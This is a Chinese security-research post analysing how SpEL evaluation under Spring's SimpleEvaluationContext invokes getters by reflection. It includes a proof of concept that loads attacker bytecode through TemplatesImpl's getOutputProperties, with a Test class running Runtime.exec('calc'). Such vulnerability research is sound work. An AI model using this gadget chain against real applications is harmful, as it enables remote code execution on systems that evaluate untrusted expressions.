SimpleEvaluationContext下的spel到触发getter方法的字节码加载利用研究
真爱和自由 发表于 四川 历史精选 890浏览 · 2024-08-25 11:52

SimpleEvaluationContext下的spel到触发getter方法的字节码加载利用研究

前言

经过上次对在SimpleEvaluationContext下的spel表达式注入的研究,这次又发现了新的东西

代码我们还是使用上次的关键代码,如下

public static Object eval(Object root, String expr) {
    SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(expr);
    return expression.getValue(context, root);
}

任然是这个eval方法,root对象和我们的表达式可控

思考起源

在上次对这个问题的探究时,我写了一个测试代码,想看看是如何触发构造函数的来着

一个person类

package SimpleEvaluationcontext;

public class Person {
    private String name;
    private int age;

    // Constructor
    public Person() {
        System.out.println("constructor");
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getters and Setters
    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        this.name = name;
        System.out.println("setName");
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}
package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SpelExample {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }

    public static void main(String[] args) throws Exception {

        Person person = new Person("nn0nkey", 30);

        // 使用eval方法获取name属性
        String name = (String) eval(person, "name");
        System.out.println("Name: " + name);

    }
}

竟然调用了getter方法,于是决定一探究竟,就有了下面的文章

错误调用

然后第一次构造的理解是,那我岂不是有getter方法,然后输入参数名称就好了,于是决定试一试我们熟悉的

加载字节码链子,调用getOutputProperties方法

找到对应的参数

private Properties _outputProperties;

代码如下

package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SpelExample {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates =new TemplatesImpl();
        byte [] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\SPEL\\target\\classes\\Test.class"));
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        String name = (String) eval(templates, "_outputProperties");
        System.out.println("Name: " + name);

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

结果报错了

EL1008E: Property or field '_outputProperties' cannot be found on object of type 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' - maybe not public or not valid?

怎么会这样呢???

所以有了接下来的分析

调试分析

漏洞触发点还是在我们的getvalue方法

这里挑重点来讲

getValueInternal:104, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:91, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:337, SpelExpression (org.springframework.expression.spel.standard)
eval:16, SpelExample (SimpleEvaluationcontext)
main:28, SpelExample (SimpleEvaluationcontext)

我们的调用栈如上,我们看到getValueInternal方法

public Object getValue(EvaluationContext context, @Nullable Object rootObject) throws EvaluationException {
        Assert.notNull(context, "EvaluationContext is required");

        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                return compiledAst.getValue(rootObject, context);
            }
            catch (Throwable ex) {
                // If running in mixed mode, revert to interpreted
                if (this.configuration.getCompilerMode() == SpelCompilerMode.MIXED) {
                    this.compiledAst = null;
                    this.interpretedCount.set(0);
                }
                else {
                    // Running in SpelCompilerMode.immediate mode - propagate exception to caller
                    throw new SpelEvaluationException(ex, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION);
                }
            }
        }

        ExpressionState expressionState = new ExpressionState(context, toTypedValue(rootObject), this.configuration);
        Object result = this.ast.getValue(expressionState);
        checkCompile(expressionState);
        return result;
    }

对于Object result = this.ast.getValue(expressionState);我已经说过了,可以去看上一篇文章

readProperty:198, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:104, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:91, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:337, SpelExpression (org.springframework.expression.spel.standard)
eval:16, SpelExample (SimpleEvaluationcontext)
main:32, SpelExample (SimpleEvaluationcontext

之后会来到

TypedValue result = readProperty(contextObject, evalContext, this.name);

传入的参数就是自己输入的

然后跟进readProperty方法

private TypedValue readProperty(TypedValue contextObject, EvaluationContext evalContext, String name)
       throws EvaluationException {

    Object targetObject = contextObject.getValue();
    if (targetObject == null && this.nullSafe) {
       return TypedValue.NULL;
    }

    PropertyAccessor accessorToUse = this.cachedReadAccessor;
    if (accessorToUse != null) {
       if (evalContext.getPropertyAccessors().contains(accessorToUse)) {
          try {
             return accessorToUse.read(evalContext, contextObject.getValue(), name);
          }
          catch (Exception ex) {
             // This is OK - it may have gone stale due to a class change,
             // let's try to get a new one and call it before giving up...
          }
       }
       this.cachedReadAccessor = null;
    }

    List<PropertyAccessor> accessorsToTry =
          getPropertyAccessorsToTry(contextObject.getValue(), evalContext.getPropertyAccessors());
    // Go through the accessors that may be able to resolve it. If they are a cacheable accessor then
    // get the accessor and use it. If they are not cacheable but report they can read the property
    // then ask them to read it
    try {
       for (PropertyAccessor accessor : accessorsToTry) {
          if (accessor.canRead(evalContext, contextObject.getValue(), name)) {
             if (accessor instanceof ReflectivePropertyAccessor) {
                accessor = ((ReflectivePropertyAccessor) accessor).createOptimalAccessor(
                      evalContext, contextObject.getValue(), name);
             }
             this.cachedReadAccessor = accessor;
             return accessor.read(evalContext, contextObject.getValue(), name);
          }
       }
    }
    catch (Exception ex) {
       throw new SpelEvaluationException(ex, SpelMessage.EXCEPTION_DURING_PROPERTY_READ, name, ex.getMessage());
    }

    if (contextObject.getValue() == null) {
       throw new SpelEvaluationException(SpelMessage.PROPERTY_OR_FIELD_NOT_READABLE_ON_NULL, name);
    }
    else {
       throw new SpelEvaluationException(getStartPosition(), SpelMessage.PROPERTY_OR_FIELD_NOT_READABLE, name,
             FormatHelper.formatClassNameForMessage(getObjectClass(contextObject.getValue())));
    }
}

传入的参数进入下面代码

return accessor.read(evalContext, contextObject.getValue(), name);

有反射那味道了,进入read方法

调用了我们的public abstract java.util.Properties javax.xml.transform.Templates.getOutputProperties()方法

回溯method

现在我们回溯一下method是怎么来的,在read中

Method method = (Method) this.member;

而member是在OptimalPropertyAccessor的构造函数中赋值

OptimalPropertyAccessor(InvokerPair target) {
    this.member = target.member;
    this.typeDescriptor = target.typeDescriptor;
}

来源于InvokerPair target

我们在构造方法下断点重新调试

findMethodForProperty:418, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
findGetterForProperty:393, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
findGetterForProperty:372, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
canRead:136, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
readProperty:198, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:104, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:91, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:337, SpelExpression (org.springframework.expression.spel.standard)
eval:16, SpelExample (SimpleEvaluationcontext)
main:28, SpelExample (SimpleEvaluationcontext)

来到findMethodForProperty方法

private Method findMethodForProperty(String[] methodSuffixes, String prefix, Class<?> clazz,
            boolean mustBeStatic, int numberOfParams, Set<Class<?>> requiredReturnTypes) {

        Method[] methods = getSortedMethods(clazz);
        for (String methodSuffix : methodSuffixes) {
            for (Method method : methods) {
                if (isCandidateForProperty(method, clazz) && method.getName().equals(prefix + methodSuffix) &&
                        method.getParameterCount() == numberOfParams &&
                        (!mustBeStatic || Modifier.isStatic(method.getModifiers())) &&
                        (requiredReturnTypes.isEmpty() || requiredReturnTypes.contains(method.getReturnType()))) {
                    return method;
                }
            }
        }
        return null;
    }

首先获取我所有的method,然后再和我们的prefix + methodSuffix去对比,如果一样的话会进行一些判断

(!mustBeStatic || Modifier.isStatic(method.getModifiers())) &&
(requiredReturnTypes.isEmpty() || requiredReturnTypes.contains(method.getReturnType())))

首先,如果 mustBeStatictrue,那么 method 必须是静态方法;否则,可以忽略是否静态的要求。

然后,如果 requiredReturnTypes 不为空,那么 method 的返回类型必须在这个集合中;如果 requiredReturnTypes 为空,则不对返回类型做任何要求。

我们的mustBeStatic为flase,requiredReturnTypes为空,所以是没有要求的

而且在反射前

ReflectionUtils.makeAccessible(method);
                    Object value = method.invoke(target);

所以即使是private方法也是可以调用的

而我们的methodSuffix其实就是一开始我们输入的表达式

简单复现

package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SpelExample {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates =new TemplatesImpl();
        byte [] code = Files.readAllBytes(Paths.get("Test.class"));
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        // 使用eval方法获取name属性
        String name = (String) eval(templates, "outputProperties");
        System.out.println("Name: " + name);

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

其中Test.class放入我们的恶意代码

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

运行POC弹出计算器

1 条评论
某人
表情
可输入 255